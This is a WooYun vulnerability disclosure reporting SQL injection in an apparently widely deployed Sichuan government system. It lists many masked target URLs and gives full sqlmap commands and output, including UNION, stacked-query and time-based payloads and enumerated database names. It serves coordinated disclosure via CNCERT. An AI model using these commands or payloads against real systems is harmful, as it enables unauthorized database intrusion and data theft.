当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126470

漏洞标题:某政府系统存在通用3处SQL注入

相关厂商:四川

漏洞作者: 路人甲

提交时间:2015-07-15 15:47

修复时间:2015-10-15 16:14

公开时间:2015-10-15 16:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-15: 细节已通知厂商并且等待厂商处理中
2015-07-17: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-07-20: 细节向第三方安全合作伙伴开放
2015-09-10: 细节向核心白帽子及相关领域专家公开
2015-09-20: 细节向普通白帽子公开
2015-09-30: 细节向实习白帽子公开
2015-10-15: 细节向公众公开

简要描述:

~

详细说明:

更多案例见:http://**.**.**.**/bugs/wooyun-2015-090966

漏洞证明:

http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080/servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080/servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080/servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080/servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080/servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080/servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=
http://**.**.**.**:8080//servlet/QuestAnswerServlet?deptId=


下面就拿一个做案例:

[root@Hacker~]# Sqlmap -u http://**.**.**.**:8080//servlet/QuestAnswerSer
vlet?deptId=
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:14:31
[15:14:31] [INFO] testing connection to the target url
[15:14:34] [INFO] testing if the url is stable, wait a few seconds
[15:14:35] [INFO] url is stable
[15:14:35] [INFO] testing if GET parameter 'deptId' is dynamic
[15:14:36] [WARNING] GET parameter 'deptId' appears to be not dynamic
[15:14:36] [WARNING] reflective value(s) found and filtering out
[15:14:36] [WARNING] heuristic test shows that GET parameter 'deptId' might not
be injectable
[15:14:36] [INFO] testing for SQL injection on GET parameter 'deptId'
[15:14:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:14:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[15:14:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:14:40] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[15:14:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[15:14:41] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:14:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:14:43] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:14:54] [INFO] GET parameter 'deptId' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[15:14:54] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:14:54] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:14:54] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:15:04] [INFO] GET parameter 'deptId' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[15:15:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:15:04] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[15:15:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:15:13] [INFO] target url appears to be UNION injectable with 13 columns
[15:15:13] [INFO] GET parameter 'deptId' is 'Generic UNION query (NULL) - 1 to 2
0 columns' injectable
GET parameter 'deptId' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 102 HTTP(s) req
uests:
---
Place: GET
Parameter: deptId
Type: UNION query
Title: Generic UNION query (NULL) - 13 columns
Payload: deptId=' UNION ALL SELECT NULL, NULL, CHAR(58)+CHAR(112)+CHAR(122)+
CHAR(98)+CHAR(58)+CHAR(122)+CHAR(117)+CHAR(99)+CHAR(86)+CHAR(71)+CHAR(109)+CHAR(
107)+CHAR(73)+CHAR(119)+CHAR(100)+CHAR(58)+CHAR(103)+CHAR(103)+CHAR(115)+CHAR(58
), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: deptId='; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: deptId=' WAITFOR DELAY '0:0:5'--
---
[15:15:15] [INFO] testing MySQL
[15:15:16] [WARNING] the back-end DBMS is not MySQL
[15:15:16] [INFO] testing Oracle
[15:15:17] [WARNING] the back-end DBMS is not Oracle
[15:15:17] [INFO] testing PostgreSQL
[15:15:17] [WARNING] the back-end DBMS is not PostgreSQL
[15:15:17] [INFO] testing Microsoft SQL Server
[15:15:18] [INFO] confirming Microsoft SQL Server
[15:15:18] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP, JSP 2.1
back-end DBMS: Microsoft SQL Server 2005
[15:15:18] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
LOCALS~1\Temp\Rar$EXa0.437\SQLMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 15:15:18
[root@Hacker~]# Sqlmap -u http://**.**.**.**:8080//servlet/QuestAnswerSer
vlet?deptId= --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:15:23
[15:15:23] [INFO] resuming back-end DBMS 'microsoft sql server'
[15:15:23] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: deptId
Type: UNION query
Title: Generic UNION query (NULL) - 13 columns
Payload: deptId=' UNION ALL SELECT NULL, NULL, CHAR(58)+CHAR(112)+CHAR(122)+
CHAR(98)+CHAR(58)+CHAR(122)+CHAR(117)+CHAR(99)+CHAR(86)+CHAR(71)+CHAR(109)+CHAR(
107)+CHAR(73)+CHAR(119)+CHAR(100)+CHAR(58)+CHAR(103)+CHAR(103)+CHAR(115)+CHAR(58
), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: deptId='; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: deptId=' WAITFOR DELAY '0:0:5'--
---
[15:15:23] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP, JSP 2.1
back-end DBMS: Microsoft SQL Server 2005
[15:15:23] [INFO] fetching database names
available databases [12]:
[*] egh
[*] EghFiles
[*] master
[*] model
[*] msdb
[*] tempdb
[*] tyfocontent
[*] tyfoinvestigate
[*] tyfomsg
[*] tyfopublish
[*] tyfosearch
[*] website
[15:15:23] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
LOCALS~1\Temp\Rar$EXa0.437\SQLMAP~1\Bin\output\**.**.**.**'


http://**.**.**.**:8080//servlet/keywordDelServlet?kid=2
http://**.**.**.**:8080/servlet/keywordDelServlet?kid=2463
http://**.**.**.**:8080/servlet/keywordDelServlet?kid=2
http://**.**.**.**:8080/servlet/keywordDelServlet?kid=1246
http://**.**.**.**:8080/servlet/keywordDelServlet?kid=1
http://**.**.**.**:8080/servlet/keywordDelServlet?kid=1
http://**.**.**.**:8080//servlet/keywordDelServlet?kid=2
http://**.**.**.**:8080//servlet/keywordDelServlet?kid=30
http://**.**.**.**:8080//servlet/keywordDelServlet?kid=1
http://**.**.**.**:8080//servlet/keywordDelServlet?kid=1
http://**.**.**.**:8080/servlet/keywordDelServlet?kid=1
http://**.**.**.**:8080//servlet/keywordDelServlet?kid=959
http://**.**.**.**:8080//servlet/keywordDelServlet?kid=565
http://**.**.**.**:8080//servlet/keywordDelServlet?kid=200
http://**.**.**.**:8080//servlet/keywordDelServlet?kid=11
http://**.**.**.**:8080//servlet/keywordDelServlet?kid=2
http://**.**.**.**:8080//servlet/keywordDelServlet?kid=217


[root@Hacker~]# Sqlmap -u http://**.**.**.**:8080//servlet/keywordDelS
ervlet?kid=217
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:23:40
[15:23:40] [INFO] resuming back-end DBMS 'microsoft sql server'
[15:23:40] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://**.**.**.**:8080/servlet/../servl
et/kbkeywordlist'. Do you want to follow? [Y/n] y
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: kid
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: kid=217; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: kid=217 WAITFOR DELAY '0:0:5'--
---
[15:23:42] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP, JSP 2.1
back-end DBMS: Microsoft SQL Server 2008
[15:23:42] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
LOCALS~1\Temp\Rar$EXa0.437\SQLMAP~1\Bin\output\**.**.**.**'


[root@Hacker~]# Sqlmap -u http://**.**.**.**:8080//servlet/keywordDelS
ervlet?kid=217 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:20:19
[15:20:19] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://**.**.**.**:8080/servlet/../servl
et/kbkeywordlist'. Do you want to follow? [Y/n] y
[15:20:21] [INFO] testing if the url is stable, wait a few seconds
[15:20:22] [WARNING] GET parameter 'kid' appears to be not dynamic
[15:20:22] [WARNING] heuristic test shows that GET parameter 'kid' might not be
injectable
[15:20:22] [INFO] testing for SQL injection on GET parameter 'kid'
[15:20:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:20:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[15:20:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:20:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[15:20:32] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[15:20:33] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:20:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:20:36] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:20:47] [INFO] GET parameter 'kid' is 'Microsoft SQL Server/Sybase stacked qu
eries' injectable
[15:20:47] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:20:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:20:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:20:59] [INFO] GET parameter 'kid' is 'Microsoft SQL Server/Sybase time-based
blind' injectable
[15:20:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:20:59] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[15:21:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:21:13] [INFO] checking if the injection point on GET parameter 'kid' is a fa
lse positive
GET parameter 'kid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] y
sqlmap identified the following injection points with a total of 100 HTTP(s) req
uests:
---
Place: GET
Parameter: kid
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: kid=217; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: kid=217 WAITFOR DELAY '0:0:5'--
---
[15:21:27] [INFO] testing MySQL
[15:21:27] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[15:21:27] [WARNING] the back-end DBMS is not MySQL
[15:21:27] [INFO] testing Oracle
[15:21:28] [WARNING] the back-end DBMS is not Oracle
[15:21:28] [INFO] testing PostgreSQL
[15:21:28] [WARNING] the back-end DBMS is not PostgreSQL
[15:21:28] [INFO] testing Microsoft SQL Server
[15:21:33] [INFO] confirming Microsoft SQL Server
[15:21:44] [INFO] adjusting time delay to 1 second due to good response times
[15:21:45] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP, JSP 2.1
back-end DBMS: Microsoft SQL Server 2008
[15:21:45] [INFO] fetching database names
[15:21:45] [INFO] fetching number of databases
[15:21:45] [INFO] retrieved: 13
[15:21:53] [INFO] retrieved: Egh
[15:22:16] [INFO] retrieved: EghFil


由于太卡没继续跑 已证明可以出数据。

http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3
http://**.**.**.**:8080/servlet/keywordEditServlet?kid=3


[root@Hacker~]# Sqlmap -u http://**.**.**.**:8080/servlet/keywordEditServ
let?kid=3
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:26:02
[15:26:02] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://**.**.**.**:8080/servlet/../404.jsp'
. Do you want to follow? [Y/n] y
[15:26:04] [INFO] testing if the url is stable, wait a few seconds
[15:26:05] [WARNING] GET parameter 'kid' appears to be not dynamic
[15:26:05] [WARNING] reflective value(s) found and filtering out
[15:26:05] [WARNING] heuristic test shows that GET parameter 'kid' might not be
injectable
[15:26:05] [INFO] testing for SQL injection on GET parameter 'kid'
[15:26:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:26:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[15:26:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:26:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[15:26:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[15:26:13] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:26:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:26:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:26:25] [INFO] GET parameter 'kid' is 'Microsoft SQL Server/Sybase stacked qu
eries' injectable
[15:26:25] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:26:25] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:26:26] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:26:36] [INFO] GET parameter 'kid' is 'Microsoft SQL Server/Sybase time-based
blind' injectable
[15:26:36] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:26:36] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[15:26:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:26:45] [INFO] target url appears to be UNION injectable with 2 columns
[15:26:45] [INFO] GET parameter 'kid' is 'Generic UNION query (NULL) - 1 to 20 c
olumns' injectable
GET parameter 'kid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] y
sqlmap identified the following injection points with a total of 96 HTTP(s) requ
ests:
---
Place: GET
Parameter: kid
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: kid=3 UNION ALL SELECT NULL, CHAR(58)+CHAR(97)+CHAR(106)+CHAR(118)+
CHAR(58)+CHAR(117)+CHAR(110)+CHAR(111)+CHAR(66)+CHAR(73)+CHAR(101)+CHAR(78)+CHAR
(88)+CHAR(120)+CHAR(97)+CHAR(58)+CHAR(100)+CHAR(108)+CHAR(111)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: kid=3; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: kid=3 WAITFOR DELAY '0:0:5'--
---
[15:26:47] [INFO] testing MySQL
[15:26:47] [WARNING] the back-end DBMS is not MySQL
[15:26:47] [INFO] testing Oracle
[15:26:48] [WARNING] the back-end DBMS is not Oracle
[15:26:48] [INFO] testing PostgreSQL
[15:26:48] [WARNING] the back-end DBMS is not PostgreSQL
[15:26:48] [INFO] testing Microsoft SQL Server
[15:26:48] [INFO] confirming Microsoft SQL Server
[15:26:49] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP, JSP 2.1
back-end DBMS: Microsoft SQL Server 2005
[15:26:49] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
LOCALS~1\Temp\Rar$EXa0.437\SQLMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 15:26:49
[root@Hacker~]# Sqlmap -u http://**.**.**.**:8080/servlet/keywordEditServ
let?kid=3 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:26:53
[15:26:53] [INFO] resuming back-end DBMS 'microsoft sql server'
[15:26:53] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://**.**.**.**:8080/servlet/../404.jsp'
. Do you want to follow? [Y/n] y
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: kid
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: kid=3 UNION ALL SELECT NULL, CHAR(58)+CHAR(97)+CHAR(106)+CHAR(118)+
CHAR(58)+CHAR(117)+CHAR(110)+CHAR(111)+CHAR(66)+CHAR(73)+CHAR(101)+CHAR(78)+CHAR
(88)+CHAR(120)+CHAR(97)+CHAR(58)+CHAR(100)+CHAR(108)+CHAR(111)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: kid=3; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: kid=3 WAITFOR DELAY '0:0:5'--
---
[15:26:54] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP, JSP 2.1
back-end DBMS: Microsoft SQL Server 2005
[15:26:54] [INFO] fetching database names
[15:26:54] [WARNING] reflective value(s) found and filtering out
[15:26:54] [INFO] the SQL query used returns 12 entries
[15:26:54] [INFO] retrieved: "egh"
[15:26:55] [INFO] retrieved: "EghFiles"
[15:26:55] [INFO] retrieved: "master"
[15:26:55] [INFO] retrieved: "model"
[15:26:55] [INFO] retrieved: "msdb"
[15:26:55] [INFO] retrieved: "tempdb"
[15:26:56] [INFO] retrieved: "tyfocontent"
[15:26:56] [INFO] retrieved: "tyfoinvestigate"
[15:26:56] [INFO] retrieved: "tyfomsg"
[15:26:56] [INFO] retrieved: "tyfopublish"
[15:26:56] [INFO] retrieved: "tyfosearch"
[15:26:57] [INFO] retrieved: "website"
available databases [12]:
[*] egh
[*] EghFiles
[*] master
[*] model
[*] msdb
[*] tempdb
[*] tyfocontent
[*] tyfoinvestigate
[*] tyfomsg
[*] tyfopublish
[*] tyfosearch
[*] website
[15:26:57] [INFO] fetched data logged to text files under 'C:\DOCUME~1\ADMINI~1\
LOCALS~1\Temp\Rar$EXa0.437\SQLMAP~1\Bin\output\**.**.**.**'

修复方案:

~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-07-17 16:13

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给相应分中心,由其后续协调网站管理单位处置。

最新状态:

暂无